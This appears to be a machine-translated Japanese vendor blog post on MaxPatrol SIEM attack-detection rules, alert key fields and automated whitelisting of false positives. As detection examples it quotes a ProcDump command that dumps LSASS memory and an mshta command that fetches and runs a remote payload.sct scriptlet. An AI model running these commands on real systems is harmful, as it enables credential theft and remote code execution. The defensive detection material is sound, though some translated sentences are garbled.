皆さん、こんにちは！攻撃検出および防御システムのユーザーが直面する課題に関するこのシリーズへようこそ。これはシリーズの最初の記事です。この記事では、 SIEMソリューション (情報セキュリティ イベント監視およびイベント検出システム、セキュリティ情報およびイベント管理) に関連する攻撃検出の秘密、 PT Expert Security Center (PT ESC) が MaxPatrol SIEM の専門知識にどのように役立つか、およびそれがどのように役立つかを探ります。攻撃の検出に役立ち、関連するルールのトリガーに対処した経験を共有できます。
テクノロジーにおける専門知識の役割
MaxPatrol SIEMのすべての機能と検査パッケージ( 35 のパッケージと540以上の攻撃検出ルール) は、PT ESC専門家の直接の参加により開発されました。これは、お客様のインシデント対応、協調的なネットワーク トレーニング、およびレッド チーム (パープル チーミング)との内部対話で特定されたTTPとIoAを使用して、新しい TTP (敵対者の戦術、技術、および手順) と IoA (攻撃の指標) を調査および発見することによって行われます。。
当社が提供する方法の中には、自動ホワイトリスト (許可されたアクティビティのリストに追加) や例外テンプレート (イベント カードをクリックして例外に追加) など、比類のないものもあります。私たちのあらゆる努力は、深い専門知識を持たないユーザーが Positive Technologiesの専門知識を適用して攻撃者を迅速に特定できるようにするために行われました。
専門知識パッケージには、 TTP攻撃者を特定するための古典的なルールだけでなく、さまざまなチップ、リッチ コンテンツ、機械学習、その他のメカニズムも含まれています。これらは、攻撃者の迅速な検出に役立つだけでなく、攻撃の状況を適時に把握して、高品質の迅速な対応 (メインではないにしても、主要な SecOps プロセスの 1 つ) を可能にします。それについては次にお話します。
基本用語
攻撃の検出とアラートに対する当社のアプローチをよりよく理解していただくために、 MaxPatrol SIEM を例として使用し、基本的な用語と主要な分類領域の名前から始めましょう。
インタラクティブ攻撃は、自動化された攻撃とは対照的に、攻撃者の実際の活動です。この場合、攻撃者は、たとえば、企業の内部インフラストラクチャを分析し、資格情報を取得し、ネットワーク内を横方向に移動するための措置を講じる必要があります。
検出メカニズムの目的は、無効なイベントを達成することを目的とした対話型攻撃を検出することです。
alert.keyは、アトム検出の基礎となるフィールド、または分類フィールドの連結です。関連する各ルールには独自のキーがあります。
たとえば、他のプロセスのメモリをダンプする ProcDump ユーティリティ パターンが実行中のプロセスのコマンド ラインに存在する場合、ProcDump_Usage 関連ルールがトリガーされます。そのトリガー キー — $alert.key = C:\Windows\Temp\proc.exe -accepteula -ma lsass.exe \windows\temp\kernel.dmp . mshta MSHTA_AWL_Bypass 経由でコードの実行を検出するルールの場合、alert.key は Connection です親プロセス名の値を実行プロセスのコマンド ラインに追加します: $alert.key = cmd.exe | C:\Windows\System32\mshta.exe vbscript:close(execute("getobject(""script:https[:] // 10.0.10.10/payload[.]sct "")"))。
MaxPatrol SIEM のすべての関連付けルールには、以下で説明するメカニズムが構築されるキー分類フィールドが含まれています。
図1.ルールMSHTA_AWL_Bypassのalert.keyの例
alert.context - アナリストが何が起こったのか、ルールが何をトリガーしたのかを完全に理解するために必要なその他の重要ではないフィールド。
たとえば、同じ MSHTA_AWL_Bypass ルールのalert.context フィールドは、トリガーされた HTA ファイルの名前になります。
図2. MSHTA_AWL_Bypassルールのalert.contextの例
関連するルール トリガーを分類フィールドごとにグループ化して表示するシナリオを考えてみましょう。トリガーをcorrelation_nameでソートし、selectで上記のフィールドを選択したと仮定します。そうすれば、イベント カードを見ずに多くのイベントを数秒で見て、興味のあるものを見つけることができます。
図3 : alert.keyトリガーの簡単な分析
誤検知の「ノイズ」
ルールを 1 つ作成するだけで、ハッカーのほとんどのアクションを検出できます。しかし、次の質問に答えてみましょう。これらのアクションのうち、実際にオンライン攻撃を示すものはいくつありますか? ここで、攻撃検出における SIEM の主な課題に直面します。それは、組み込まれた専門知識の不足、誤検知 (誤検知、誤検知)、およびそれらに対処する効率的なメカニズムの欠如であり、反復的なタスクの自動化が必要です。これらの問題に対処することで、実際のイベントをより迅速かつ高品質に特定できるようになります。
保護レベルに関係なく、誤検知の「ノイズ」はアナリストにとって重要な課題です。専門家はアラートにイライラし、そのせいで攻撃を見逃してしまいます。
アソシエーションルールの種類
一般的なインフラストラクチャでは、毎日、毎月、毎年、実際にインタラクティブな攻撃インシデントが何件発生していますか? 特定のエンドポイントが対話型攻撃を受ける可能性は非常に低くなりました。ただし、関連付けルールは引き続き機能します。なぜ？
相関ルールには 2 つのタイプがあります。1 つ目のタイプは、ロジックが特定のパターンを通じて TTP を識別することを含む正確なルールです。簡単な例としては、ハッキング ツールを名前で識別することが挙げられます。正確な相関ルールは、誤検知が非常に少ないという特徴があります。しかし、私たちにとってさらに恐ろしいのは、誤検知が多いこと、つまり検出を簡単に回避できることです。
2 番目のカテゴリは相関ルールです。これは、多数の偽陽性が特徴ですが、より重要なのは、偽陰性がほとんどないことです。多くの場合、攻撃者の活動は、管理者やユーザー、および正規のソフトウェアの活動と区別できません。セキュリティ ログによって生成される毎日の何百万ものイベントの中に隠れている可能性があります。2 番目のタイプの関連付けは、このアクティビティを検出するために使用されます。
インタラクティブ攻撃の可能性は非常に低いですが、存在するため、それに備えておく必要があります。誤検知への対処ははるかに複雑で、時間とコストがかかります。それらとアラートは一般に、できるだけ自動的に処理する必要があります。私たちは、オペレーターの注意を日常業務からプロアクティブな脅威ハンティングにそらそうとし、SecOps の他の機能を使用するように努めます。トリガー内の最大のコンテキスト、機械学習からのデータを含む内部または外部サービスからの豊富なデータ、ホワイト リスト メカニズムの自動化には、便利で効率的な脅威ハンティング メカニズムである ML のアプリケーション。
誤検知と誤検知を最小限に抑え、オペレーターが対処しているのがイベントなのか誤検知なのかを迅速に識別できるようにするソリューションを検討してください。
自動ホワイトリスト
インフラストラクチャ内の対話型攻撃の数は少ないかゼロに近づいており、誤検知のケースを手動で処理するのは時間がかかり、面白くないという考えを覚えていますか? 現在、このパラダイムから開始することをお勧めします: 2 番目、3 番目、または後続 (どちらか近い方) の関連ルールをトリガーする重複アラートは、明示的に指摘されていない限り、アプリオリに誤検知であると見なされます。今後も繰り返す必要があります。
関連ルールがトリガーされると、トリガーされたパターン変数 $alert.key が一時テーブル リスト Common_whitelist_auto_swap に書き込まれます。$alert.key を含むルールが起動された回数を指定するカウンターがあります。ルールが少なくとも 2 回トリガーされると (任意のしきい値を設定可能)、ルールとキーがテーブル リスト Common_whitelist_auto の specific_value 列に入力されます。次に、ルールは $alert.key と $specific_value の値を比較し、それらが一致する場合、トリガーは発生しません (「ホワイトリストに登録」されます)。
このアプローチの欠点: オペレーターがトリガーに関連するルールを認識せず、アラートを処理しない場合、次回そのようなトリガーは再び発生しません (ただし、いずれの場合も、スケジュールに設定されたしきい値に従って)リストにあるように、いくつかのトリガーがあります)。
図4 : 自動ホワイトリスト登録の例
このアプローチを使用すると、オペレーターはアラートに対して何もする必要がありません (トリガーが実際にイベントであり、処理する必要がある場合を除く)。重複した $alert.key が見つかった場合、すべてが自動的に「ホワイトリスト」に登録されます (図 8、アラート ホワイトリストを使用したワークフローを参照)。
レンプレート
テンプレートは、ホワイトリスト、ブラックリスト、IoC などのフィールドまたはフィールドの連結を、クリック時にアラート カードの UI に追加できるメカニズムです。これは、$alert.key で提供されていないフィールド、または他の分類フィールドの連結を「ホワイトリスト」する必要がある場合に不可欠です。テンプレートは、相関関係に関係する各イベント タイプの分類フィールドを指定し、相関ルールには、追加されたフィールドをホワイトリストに登録するためのメカニズムがすでに含まれています。このメカニズムは、MaxPatrol SIEM ユーザーが利用できます。
図5. テンプレートによるホワイトリストの例
Common_whitelist_regex
上記の例外は、完全に一致する分類フィールドにのみ適用されます。「正規表現を使用して「ホワイトリスト」に登録する必要がある場合はどうなるでしょうか?」 - あなたは尋ねます。ホワイトリストと正規表現ブラックリストは、除外したい分類ドメインがトリガーの繰り返しで常に変化する状況向けに設計されています。このメカニズムでは、Common_whitelist_regex および Common_blacklist_regex テーブル リストを使用します。これらには、ブラックリストから除外またはブラックリストに追加する正規表現が含まれています。このメカニズムは MaxPatrol SIEM にもすでに存在しており、それを利用することができます。
図6. Common_whitelist_regexテーブル形式のリスト エントリの例
ただし、オペレーターは、自動的に「ホワイトリストに登録」できないトリガーを常に分析し、正規表現を手動で生成してテーブル リストに追加する必要があります。これには、脅威ハンティングや新しい脅威の調査に費やすことができる多くの時間がかかります。
正規表現を自動生成する
機械学習 (類似イベントの検索に基づく正規表現の自動生成) を他のホワイトリスト メカニズムと組み合わせて使用すると、日常的なタスクを自動化し、アナリストの負担を軽減できます。
図7 : 類似イベントのクラスタリングに基づいて用語を自動生成するMLアプリケーションの例
次に、相関ルールをトリガーするための処理シナリオを考えてみましょう。
図8. アラート ホワイトリストを使用したワークフロー
当社は現在の攻撃検出の傾向を監視し、継続的に防御を改善し、新しい機能を開発しています。私たちの目標は、情報セキュリティ インシデントを日常的に監視しているユーザーの作業を容易にすることです。
最後までお読みいただきありがとうございます。この資料と私たちの経験が、インフラストラクチャ内の不正行為をより適切かつ迅速に検出するのに役立つことを願っています。